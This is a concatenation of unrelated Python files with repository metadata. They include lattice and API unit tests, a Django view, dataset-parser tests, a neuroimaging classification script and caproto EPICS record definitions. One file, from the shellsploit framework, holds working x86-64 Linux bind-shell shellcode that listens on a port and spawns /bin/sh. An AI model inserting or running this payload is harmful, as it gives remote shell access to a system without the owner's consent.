(2, 1)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)])]), 'up': set([frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 1), (2, 1)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([(2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(2, 3), (2, 1)])])}, frozenset([(3, 1), (2, 3), (2, 1)]): { 'down': set([frozenset([(2, 3)]), frozenset([(3, 1), (2, 1)]), frozenset([]), frozenset([(3, 1)]), frozenset([(2, 1)]), frozenset([(3, 1), (2, 3), (2, 1)]), frozenset([(2, 3), (2, 1)])]), 'max': set([frozenset([(3, 1), (2, 3), (2, 1)])]), 'up': set([frozenset([(3, 1), (2, 3), (2, 1)])])}, frozenset([(1, 2), (1, 3), (2, 3)]): { 'down': set([frozenset([(1, 3), (2, 3)]), frozenset([(2, 3)]), frozenset([(1, 3)]), frozenset([(1, 2)]), frozenset([]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (1, 3)])]), 'max': set([frozenset([(1, 2), (1, 3), (2, 3)])]), 'up': set([frozenset([(1, 2), (1, 3), (2, 3)])])}, frozenset([(1, 2), (3, 2)]): { 'down': set([frozenset([(3, 2)]), frozenset([(1, 2), (3, 2)]), frozenset([]), frozenset([(1, 2)])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (3, 2)]), frozenset([(1, 2), (3, 2), (3, 1)])])}, frozenset([(1, 3), (2, 3), (2, 1)]): { 'down': set([frozenset([(1, 3), (2, 3)]), frozenset([(2, 3)]), frozenset([(1, 3)]), frozenset([(1, 3), (2, 3), (2, 1)]), frozenset([]), frozenset([(2, 1)]), frozenset([(2, 3), (2, 1)])]), 'max': set([frozenset([(1, 3), (2, 3), (2, 1)])]), 'up': set([frozenset([(1, 3), (2, 3), (2, 1)])])}, frozenset([(1, 2), (3, 2), (3, 1)]): { 'down': set([frozenset([(1, 2)]), frozenset([(3, 2), (3, 1)]), frozenset([]), frozenset([(3, 1)]), frozenset([(1, 2), (3, 2)]), frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(3, 2)])]), 'max': set([frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (3, 1)])])}, frozenset([(3, 2)]): { 'down': set([frozenset([(3, 2)]), frozenset([])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(1, 2), (3, 2), (3, 1)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 2), (3, 1)]), frozenset([(1, 2), (3, 2)]), frozenset([(1, 2), (3, 2), (3, 1)]), frozenset([(3, 2)])])}, frozenset([(1, 2), (1, 3)]): { 'down': set([frozenset([]), frozenset([(1, 3)]), frozenset([(1, 2)]), frozenset([(1, 2), (1, 3)])]), 'max': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (1, 3), (2, 3)])]), 'up': set([frozenset([(1, 2), (3, 2), (1, 3)]), frozenset([(1, 2), (1, 3), (2, 3)]), frozenset([(1, 2), (1, 3)])])}, frozenset([(3, 2), (3, 1), (2, 1)]): { 'down': set([frozenset([(3, 2), (3, 1), (2, 1)]), frozenset([(3, 1), (2, 1)]), frozenset([(3, 2), (3, 1)]), frozenset([]), frozenset([(3, 1)]), frozenset([(2, 1)]), frozenset([(3, 2)])]), 'max': set([frozenset([(3, 2), (3, 1), (2, 1)])]), 'up': set([frozenset([(3, 2), (3, 1), (2, 1)])])} } lat = ordertheory.StrictOrders().get_orders([1,2,3]) for k in lat.keys(): msg = "Sets for %s in 3-constraint lattice don't match" % str(k) self.assertEqual(lat[k], test_lat[k], msg) if __name__ == '__main__': unittest.main()

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0

6

e5be162d4ef3b85fd7f708c56ea21f4ee4dbf251

236

py

Python

fastform/index/views.py

csc5nz/FastForms

b208734b94b908fce38ca342442a3e15014f8c23

[ "MIT" ]

1

2021-07-23T19:04:24.000Z

fastform/index/views.py

csc5nz/FastForms

b208734b94b908fce38ca342442a3e15014f8c23

[ "MIT" ]

26

2020-01-14T04:32:38.000Z

2022-03-12T00:54:18.000Z

fastform/index/views.py

csc5nz/FastForms

b208734b94b908fce38ca342442a3e15014f8c23

[ "MIT" ]

1

2021-12-17T19:26:57.000Z

from django.shortcuts import render from django.http import HttpResponse # Create your views here. def home(request): return HttpResponse("<h1>Create and Edit Documents</h1><p>Create a Document</p><p>Upload a PDF</p><p>Login</p>")

33.714286

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236

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null

0

1

0

1

0

6

e5c6cfbd1a0f5222243bb6e9e1c5f23a1661e3a8

11,106

py

Python

tests/api/test_payments_create.py

YTXIRE/able_crm_concrete_accounting_python_tests

c708bfb973a19499e0b04da5c219d924b295d74e

[ "Apache-2.0" ]

1

2022-03-06T17:30:38.000Z

tests/api/test_payments_create.py

YTXIRE/able_crm_concrete_accounting_python_tests

c708bfb973a19499e0b04da5c219d924b295d74e

[ "Apache-2.0" ]

null

tests/api/test_payments_create.py

YTXIRE/able_crm_concrete_accounting_python_tests

c708bfb973a19499e0b04da5c219d924b295d74e

[ "Apache-2.0" ]

null

from allure import title, description, suite, parent_suite from data import API_PAYMENTS_SUCCESS, DATA_AMOUNT_PAYMENTS_SUCCESS, DATA_PAYMENTS_TIMESTAMP, \ API_POST_METHOD_NOT_ALLOWED, API_AUTH_TOKEN_EMPTY, AUTH_DATA_FAIL_NOT_FOUND_ID, AUTH_DATA_LENGTH_TOKEN, \ API_BAD_REQUEST_LENGTH_TOKEN, API_BAD_REQUEST_BAD_ID, AUTH_DATA_FAIL_BAD_ID, API_BAD_REQUEST_AMOUNT, \ DATA_AMOUNT_PAYMENTS_BAD, API_BAD_REQUEST_AMOUT_LESS_THAT_ONE_MILLIARD, AUTH_DATA_FAIL_BAD_TOKEN, \ API_AUTH_NOT_FOUND_TOKEN, API_NOT_FOUND_VENDORS from pages.api import asserts @suite('Контроллер: Payments. Метод: create') @parent_suite('[PYTHON][API]') class TestApiPaymentsCreate: @title('create') @description('Проверка корректной работы create') def test_create(self, create_admin, payments, create_vendors_remove, create_legal_entities_remove, remove_payments): vendor_id = create_vendors_remove asserts( assert_data=payments.create({ "token": create_admin['token'], "vendor_id": vendor_id, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": create_admin['id'] }), data=API_PAYMENTS_SUCCESS ) remove_payments(vendor_id) @title('create-fail-method-not-allowed') @description('Проверка ошибки Method Not Allowed для create') def test_create_method_not_allowed(self, payments): asserts( assert_data=payments.create_method_not_allowed(), data=API_POST_METHOD_NOT_ALLOWED ) @title('create-fail-bad-requst-empty-token') @description('Проверка ошибки Bad Request empty token для create') def test_create_bad_request_empty_token(self, payments, create_legal_entities_remove, remove_payments): asserts( assert_data=payments.create({ "token": '', "vendor_id": AUTH_DATA_FAIL_NOT_FOUND_ID, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_AUTH_TOKEN_EMPTY ) @title('create-fail-bad-requst-length-token') @description('Проверка ошибки Bad Request length token для create') def test_create_bad_request_length_token(self, payments, create_vendors_remove, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": AUTH_DATA_LENGTH_TOKEN, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_LENGTH_TOKEN ) @title('create-fail-bad-requst-bad-user-id-minus') @description('Проверка ошибки Bad Request bad id для create с отрицательным идентификатором пользоваетеля') def test_create_bad_request_bad_user_id_minus(self, payments, create_vendors_remove, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": AUTH_DATA_FAIL_BAD_ID }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-bad-user-id-varchar') @description('Проверка ошибки Bad Request bad id для create с символами в идентификаторе пользоваетеля') def test_create_bad_request_bad_user_id_varchar(self, payments, create_vendors_remove, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 'text' }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-bad-vendor-id-minus') @description('Проверка ошибки Bad Request bad id для create с отрицательным идентификатором поставщика') def test_create_bad_request_bad_vendor_id_minus(self, payments, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": AUTH_DATA_FAIL_BAD_ID, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-bad-vendor-id-varchar') @description('Проверка ошибки Bad Request bad id для create с символами в идентификаторе поставщика') def test_create_bad_request_bad_vendor_id_varchar(self, payments, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": 'text', "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-bad-legal-entity-id-minus') @description('Проверка ошибки Bad Request bad id для create с отрицательным идентификатором юридического лица') def test_create_bad_request_bad_legal_entity_id_minus(self, payments, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": AUTH_DATA_FAIL_BAD_ID, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-bad-legal-entity-id-varchar') @description('Проверка ошибки Bad Request bad id для create с символами в идентификаторе юридического лица') def test_create_bad_request_bad_legal_entity_id_varchar(self, payments, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": 'text', "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_BAD_ID ) @title('create-fail-bad-requst-amount-varchar') @description('Проверка ошибки Bad Request amount для create c символами в сумме платежа') def test_create_bad_request_amount_varchar(self, payments, create_legal_entities_remove, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": 'text', "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_AMOUNT ) @title('create-fail-bad-requst-amount-minus') @description('Проверка ошибки Bad Request amount для create с отрицательным значением в сумме платежа') def test_create_bad_request_amount_minus(self, payments, create_legal_entities_remove, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": AUTH_DATA_FAIL_BAD_ID, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_AMOUNT ) @title('create-fail-bad-requst-amount-zero') @description('Проверка ошибки Bad Request amount для create с нулевым значением в сумме платежа') def test_create_bad_request_amount_zero(self, payments, create_legal_entities_remove, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": 0, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_AMOUNT ) @title('create-fail-bad-requst-amount-length') @description('Проверка ошибки Bad Request amount length для create') def test_create_bad_request_amount_length(self, payments, create_legal_entities_remove, create_vendors_remove): asserts( assert_data=payments.create({ "token": 1, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_BAD, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_BAD_REQUEST_AMOUT_LESS_THAT_ONE_MILLIARD ) @title('create-fail-not-found-token') @description('Проверка ошибки Not Found token для create') def test_create_not_found_token(self, payments, create_legal_entities_remove, create_vendors_remove): asserts( assert_data=payments.create({ "token": AUTH_DATA_FAIL_BAD_TOKEN, "vendor_id": create_vendors_remove, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": 1 }), data=API_AUTH_NOT_FOUND_TOKEN ) @title('create-fail-not-found-vendor') @description('Проверка ошибки Not Found vendor для create') def test_create_not_found_vendor(self, payments, create_admin, create_legal_entities_remove): asserts( assert_data=payments.create({ "token": create_admin['token'], "vendor_id": AUTH_DATA_FAIL_NOT_FOUND_ID, "legal_entity_id": create_legal_entities_remove, "amount": DATA_AMOUNT_PAYMENTS_SUCCESS, "created_at": DATA_PAYMENTS_TIMESTAMP, "user_id": create_admin['id'] }), data=API_NOT_FOUND_VENDORS )

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null

0

1

0

null

0

6

f9002fa847935152807ca5011eec0d2b393f4e57

26

py

Python

Python/Tests/TestData/Grammar/FuncDefV2.py

nanshuiyu/pytools

9f9271fe8cf564b4f94e9456d400f4306ea77c23

[ "Apache-2.0" ]

null

Python/Tests/TestData/Grammar/FuncDefV2.py

nanshuiyu/pytools

9f9271fe8cf564b4f94e9456d400f4306ea77c23

[ "Apache-2.0" ]

null

Python/Tests/TestData/Grammar/FuncDefV2.py

nanshuiyu/pytools

9f9271fe8cf564b4f94e9456d400f4306ea77c23

[ "Apache-2.0" ]

1

2020-12-09T10:16:23.000Z

def f(a, (b, c), d): pass

26

0.461538

8

26

1.625

1

0

0.192308

26

1

26

0.571429

0

null

1

0

null

0

1

null

0

1

0

null

0

1

0

1

0

6

00892d6f6f69361ad4e861a0d02a227aaa16356a

33

py

Python

fastbay/__init__.py

termlt/FastBay

8a9240f8472ab6c59e5a34ee93839c7bdb19f9da

[ "MIT" ]

2

2021-05-09T12:07:49.000Z

2021-05-09T13:30:47.000Z

fastbay/__init__.py

termlt/FastBay

8a9240f8472ab6c59e5a34ee93839c7bdb19f9da

[ "MIT" ]

null

fastbay/__init__.py

termlt/FastBay

8a9240f8472ab6c59e5a34ee93839c7bdb19f9da

[ "MIT" ]

1

2022-03-12T04:52:41.000Z

from fastbay.fastbay import fbay

16.5

32

0.848485

5

33

5.6

0.8

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0.121212

33

1

33

0.965517

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1

0

1

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null

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1

0

null

0

1

0

1

0

1

0

6

00d279fb0d9752fe8846aba884e7840bf52ed707

140

py

Python

tests/const.py

yakumo-saki/smart_to_zabbix

04dd1debe0c831b4ec94962884543c989ad57730

[ "MIT" ]

1

2022-02-03T22:32:10.000Z

tests/const.py

yakumo-saki/megacli_to_zabbix

2e5f22dabf54b88b23d34ebf3d592efce24f1698

[ "MIT" ]

23

2021-08-30T14:59:27.000Z

2021-11-05T16:51:08.000Z

tests/const.py

yakumo-saki/smart_to_zabbix

04dd1debe0c831b4ec94962884543c989ad57730

[ "MIT" ]

null

EXAMPLE_DEVICE_DIR="smart_examples/device" EXAMPLE_DEV_SATA_DIR="{EXAMPLE_DEVICE_DIR}/sata" EXAMPLE_DEV_NVME_DIR="{EXAMPLE_DEVICE_DIR}/nvme"

46.666667

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140

4.954545

0.363636

0.357798

0.440367

0.348624

0

0.014286

140

3

49

46.666667

0.789855

0

0.503546

0

1

0

false

0

1

0

null

1

0

1

0

1

null

0

6

00d88dc5fa62349c5484d3b12cb198f7847c10e8

882

py

Python

shell/database/Linux64/tcp_bindx64.py

vasco2016/shellsploit-framework

04eb4a0449acaba0b70c40a78c61a0d5e2527406

[ "MIT" ]

61

2017-06-13T13:48:38.000Z

2022-03-02T17:43:45.000Z

shell/database/Linux64/tcp_bindx64.py

security-geeks/shellsploit-framework

93b66ab9361872697eafda2125b37005f49116be

[ "MIT" ]

null

shell/database/Linux64/tcp_bindx64.py

security-geeks/shellsploit-framework

93b66ab9361872697eafda2125b37005f49116be

[ "MIT" ]

28

2017-08-15T05:38:27.000Z

2020-12-31T03:39:38.000Z

#https://www.exploit-db.com/exploits/39151/ def tcp_bindx64( PORT): shellcode = r"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" shellcode += r"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" shellcode += r"\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02" shellcode += PORT shellcode += r"\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05" shellcode += r"\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31" shellcode += r"\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59" shellcode += r"\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48" shellcode += r"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" shellcode += r"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" shellcode += r"\x5f\x6a\x3b\x58\x0f\x05" return shellcode

44.1

81

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183

882

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0.387978

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0.048232

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0.28

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0

1

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0

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0

1

0

1

0

1

null

1

0

6

da9996c4ad618d8720faaee1d4d488d21b32fe37

4,353

py

Python

im/kibot/data/load/test/test_dataset_name_parser.py

ajmal017/amp

8de7e3b88be87605ec3bad03c139ac64eb460e5c

[ "BSD-3-Clause" ]

null

im/kibot/data/load/test/test_dataset_name_parser.py

ajmal017/amp

8de7e3b88be87605ec3bad03c139ac64eb460e5c

[ "BSD-3-Clause" ]

null

im/kibot/data/load/test/test_dataset_name_parser.py

ajmal017/amp

8de7e3b88be87605ec3bad03c139ac64eb460e5c

[ "BSD-3-Clause" ]

null

import helpers.unit_test as hut import im.common.data.types as vcdtyp import im.kibot.data.load.dataset_name_parser as vkdlda class TestDatasetNameParserExtractAssetClass(hut.TestCase): def test_all_futures(self) -> None: # Define input variables. dataset = "all_futures_continuous_contracts_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_asset_class(dataset=dataset) # Define expected output. exp = vcdtyp.AssetClass.Futures # Compare actual and expected output. self.assertEqual(act, exp) def test_all_stocks(self) -> None: # Define input variables. dataset = "all_stocks_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_asset_class(dataset=dataset) # Define expected output. exp = vcdtyp.AssetClass.Stocks # Compare actual and expected output. self.assertEqual(act, exp) def test_all_etfs(self) -> None: # Define input variables. dataset = "all_etfs_daily" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_asset_class(dataset=dataset) # Define expected output. exp = vcdtyp.AssetClass.ETFs # Compare actual and expected output. self.assertEqual(act, exp) def test_all_forex(self) -> None: # Define input variables. dataset = "all_forex_pairs_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_asset_class(dataset=dataset) # Define expected output. exp = vcdtyp.AssetClass.Forex # Compare actual and expected output. self.assertEqual(act, exp) def test_sp500(self) -> None: # Define input variables. dataset = "sp_500_tickbidask" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_asset_class(dataset=dataset) # Define expected output. exp = vcdtyp.AssetClass.SP500 # Compare actual and expected output. self.assertEqual(act, exp) class TestDatasetNameParserExtractFrequency(hut.TestCase): def test_daily(self) -> None: # Define input variables. dataset = "all_futures_continuous_contracts_daily" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_frequency(dataset=dataset) # Define expected output. exp = vcdtyp.Frequency.Daily # Compare actual and expected output. self.assertEqual(act, exp) def test_minutely(self) -> None: # Define input variables. dataset = "all_futures_continuous_contracts_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_frequency(dataset=dataset) # Define expected output. exp = vcdtyp.Frequency.Minutely # Compare actual and expected output. self.assertEqual(act, exp) def test_tick(self) -> None: # Define input variables. dataset = "all_futures_continuous_contracts_tick" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_frequency(dataset=dataset) # Define expected output. exp = vcdtyp.Frequency.Tick # Compare actual and expected output. self.assertEqual(act, exp) class TestDatasetNameParserExtractContractType(hut.TestCase): def test_continuous(self) -> None: # Define input variables. dataset = "all_futures_continuous_contracts_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_contract_type(dataset=dataset) # Define expected output. exp = vcdtyp.ContractType.Continuous # Compare actual and expected output. self.assertEqual(act, exp) def test_expiry(self) -> None: # Define input variables. dataset = "all_futures_contracts_1min" # Call function to test. cls = vkdlda.DatasetNameParser() act = cls._extract_contract_type(dataset=dataset) # Define expected output. exp = vcdtyp.ContractType.Expiry # Compare actual and expected output. self.assertEqual(act, exp)

36.275

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0.841859

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false

0

0.045455

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0.242424

0

null

0

1

0

null

0

6

dad8aaa3fea8a5aed55de849f33b36e86c9a7966

84

py

Python

models/__init__.py

KIMGEONUNG/T-DGP

7e580d29c43aad5a43680afebdd7ee980939ee01

[ "MIT" ]

null

models/__init__.py

KIMGEONUNG/T-DGP

7e580d29c43aad5a43680afebdd7ee980939ee01

[ "MIT" ]

null

models/__init__.py

KIMGEONUNG/T-DGP

7e580d29c43aad5a43680afebdd7ee980939ee01

[ "MIT" ]

null

from .biggan import * from .dgp import * from .tdgp import * from .nethook import *

16.8

22

0.714286

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0

1

0

6

daea1feff13d64a490726962ff601715772322ce

29

py

Python

lib/arch/__init__.py

RUB-SysSec/tropyhunter

7d027bf18944c641296ed5d68462f4400dbc055e

[ "MIT" ]

1

2020-11-06T21:18:01.000Z

lib/arch/__init__.py

RUB-SysSec/tropyhunter

7d027bf18944c641296ed5d68462f4400dbc055e

[ "MIT" ]

null

lib/arch/__init__.py

RUB-SysSec/tropyhunter

7d027bf18944c641296ed5d68462f4400dbc055e

[ "MIT" ]

null

from .x64 import RegistersX64

29

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973f0038c89d175351263cd9be4ab808808bac5e

3,543

py

Python

Paper_Specific_Versions/2018_NeuroImage/Code/experiments/3-class_imbalance/3-AIBL_CN_AD_balanced.py

adamwild/AD-ML

e4ac0b7d312ab482b9b52bb3f5c6745cc06431e9

[ "MIT" ]

null

Paper_Specific_Versions/2018_NeuroImage/Code/experiments/3-class_imbalance/3-AIBL_CN_AD_balanced.py

adamwild/AD-ML

e4ac0b7d312ab482b9b52bb3f5c6745cc06431e9

[ "MIT" ]

null

Paper_Specific_Versions/2018_NeuroImage/Code/experiments/3-class_imbalance/3-AIBL_CN_AD_balanced.py

adamwild/AD-ML

e4ac0b7d312ab482b9b52bb3f5c6745cc06431e9

[ "MIT" ]

null

import os from os import path import pickle from clinica.pipelines.machine_learning.ml_workflows import VB_RepHoldOut_DualSVM, RB_RepHoldOut_DualSVM n_iterations = 250 n_threads = 72 caps_dir = '/AIBL/CAPS' output_dir = 'AIBL/CLASSIFICATION/OUTPUTS_BALANCED' group_id = 'ADNIbl' image_types = ['T1'] tasks_dir = '/AIBL/SUBJECTS/lists_by_task' tasks = [('CN', 'AD')] smoothing = [4] atlases = ['AAL2'] classifier = 'linear_svm' ##### Voxel based classifications ###### for image_type in image_types: for smooth in smoothing: for task in tasks: if image_type == 'T1': classification_dir = path.join(output_dir, image_type, 'voxel_based', 'smoothing-%s' % smooth, classifier, '%s_vs_%s' % (task[0], task[1])) else: classification_dir = path.join(output_dir, image_type, 'voxel_based', 'pvc-None', 'smoothing-%s' % smooth, classifier, '%s_vs_%s' % (task[0], task[1])) if not path.exists(classification_dir): os.makedirs(classification_dir) subjects_visits_tsv = path.join(tasks_dir, '%s_vs_%s_subjects_sessions_balanced.tsv' % (task[0], task[1])) diagnoses_tsv = path.join(tasks_dir, '%s_vs_%s_diagnoses_balanced.tsv' % (task[0], task[1])) with open(path.join(tasks_dir, '%s_vs_%s_splits_indices_balanced.pkl' % (task[0], task[1])), 'r') as s: splits_indices = pickle.load(s) print "Running %s" % classification_dir wf = VB_RepHoldOut_DualSVM(caps_dir, subjects_visits_tsv, diagnoses_tsv, group_id, image_type, classification_dir, fwhm=smooth, pvc=None, n_iterations=n_iterations, n_threads=n_threads, splits_indices=splits_indices) wf.run() # Region based for image_type in image_types: for atlas in atlases: for task in tasks: if image_type == 'T1': classification_dir = path.join(output_dir, image_type, 'region_based', 'atlas-%s' % atlas, classifier, '%s_vs_%s' % (task[0], task[1])) else: classification_dir = path.join(output_dir, image_type, 'region_based', 'pvc-None', 'atlas-%s' % atlas, classifier, '%s_vs_%s' % (task[0], task[1])) if not path.exists(classification_dir): os.makedirs(classification_dir) subjects_visits_tsv = path.join(tasks_dir, '%s_vs_%s_subjects_sessions_balanced.tsv' % (task[0], task[1])) diagnoses_tsv = path.join(tasks_dir, '%s_vs_%s_diagnoses_balanced.tsv' % (task[0], task[1])) with open(path.join(tasks_dir, '%s_vs_%s_splits_indices_balanced.pkl' % (task[0], task[1])), 'r') as s: splits_indices = pickle.load(s) print "Running %s" % classification_dir wf = RB_RepHoldOut_DualSVM(caps_dir, subjects_visits_tsv, diagnoses_tsv, group_id, image_type, atlas, classification_dir, pvc=None, n_iterations=n_iterations, n_threads=n_threads, splits_indices=splits_indices) wf.run()

47.24

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null

0.033898

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null

0

1

0

null

0

1

0

6

97676e9f619500d69093597f9f60be4f6fd9238d

214,468

py

Python

caproto/server/records/base.py

slactjohnson/caproto

e78404234abe3c31749c4f1c04d9ae4fbcd298f6

[ "BSD-3-Clause" ]

12

2019-05-25T14:26:25.000Z

2022-01-24T09:10:18.000Z

caproto/server/records/base.py

slactjohnson/caproto

e78404234abe3c31749c4f1c04d9ae4fbcd298f6

[ "BSD-3-Clause" ]

333

2017-06-22T03:10:15.000Z

2019-05-07T16:37:20.000Z

caproto/server/records/base.py

slactjohnson/caproto

e78404234abe3c31749c4f1c04d9ae4fbcd298f6

[ "BSD-3-Clause" ]

17

2019-07-03T18:17:22.000Z

2022-03-22T00:24:20.000Z

""" Contains the base field representation for EPICS base records. This file is auto-generated. Do not modify it. If you need to add or modify fields to correct something, please use the ``reference-dbd`` project to regenerate this file. If you need to add functionality to any record, see the module :mod:`caproto.server.records.records`. """ # **NOTE** **NOTE** # This file is auto-generated. Please see the module docstring for details. # **NOTE** **NOTE** from ..._data import ChannelType from .. import menus from ..server import PVGroup, pvproperty from .mixins import _Limits, _LimitsLong from .utils import copy_pvproperties, link_parent_attribute class RecordFieldGroup(PVGroup): _scan_rate_sec = None _dtype = None # to be set by subclasses has_val_field = True alarm_acknowledge_severity = pvproperty( name="ACKS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Alarm Ack Severity", read_only=True, ) alarm_acknowledge_transient = pvproperty( name="ACKT", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Alarm Ack Transient", read_only=True, value="YES", ) access_security_group = pvproperty( name="ASG", dtype=ChannelType.CHAR, max_length=29, report_as_string=True, doc="Access Security Group", ) description = pvproperty( name="DESC", dtype=ChannelType.CHAR, max_length=41, report_as_string=True, doc="Descriptor", ) disable = pvproperty(name="DISA", dtype=ChannelType.INT, doc="Disable") disable_putfield = pvproperty( name="DISP", dtype=ChannelType.CHAR, doc="Disable putField" ) disable_alarm_severity = pvproperty( name="DISS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Disable Alarm Sevrty", ) disable_value = pvproperty( name="DISV", dtype=ChannelType.INT, doc="Disable Value", value=1 ) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_base.get_string_tuple(), doc="Device Type", ) event_name = pvproperty( name="EVNT", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Event Name", ) forward_link = pvproperty( name="FLNK", dtype=ChannelType.STRING, doc="Forward Process Link" ) lock_count = pvproperty( name="LCNT", dtype=ChannelType.CHAR, doc="Lock Count", read_only=True ) record_name = pvproperty( name="NAME", dtype=ChannelType.CHAR, max_length=61, report_as_string=True, doc="Record Name", read_only=True, ) new_alarm_severity = pvproperty( name="NSEV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="New Alarm Severity", read_only=True, ) new_alarm_status = pvproperty( name="NSTA", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmStat.get_string_tuple(), doc="New Alarm Status", read_only=True, ) record_active = pvproperty( name="PACT", dtype=ChannelType.CHAR, doc="Record active", read_only=True ) scan_phase = pvproperty( name="PHAS", dtype=ChannelType.INT, doc="Scan Phase" ) process_at_iocinit = pvproperty( name="PINI", dtype=ChannelType.ENUM, enum_strings=menus.menuPini.get_string_tuple(), doc="Process at iocInit", ) scheduling_priority = pvproperty( name="PRIO", dtype=ChannelType.ENUM, enum_strings=menus.menuPriority.get_string_tuple(), doc="Scheduling Priority", ) process_record = pvproperty( name="PROC", dtype=ChannelType.CHAR, doc="Force Processing" ) 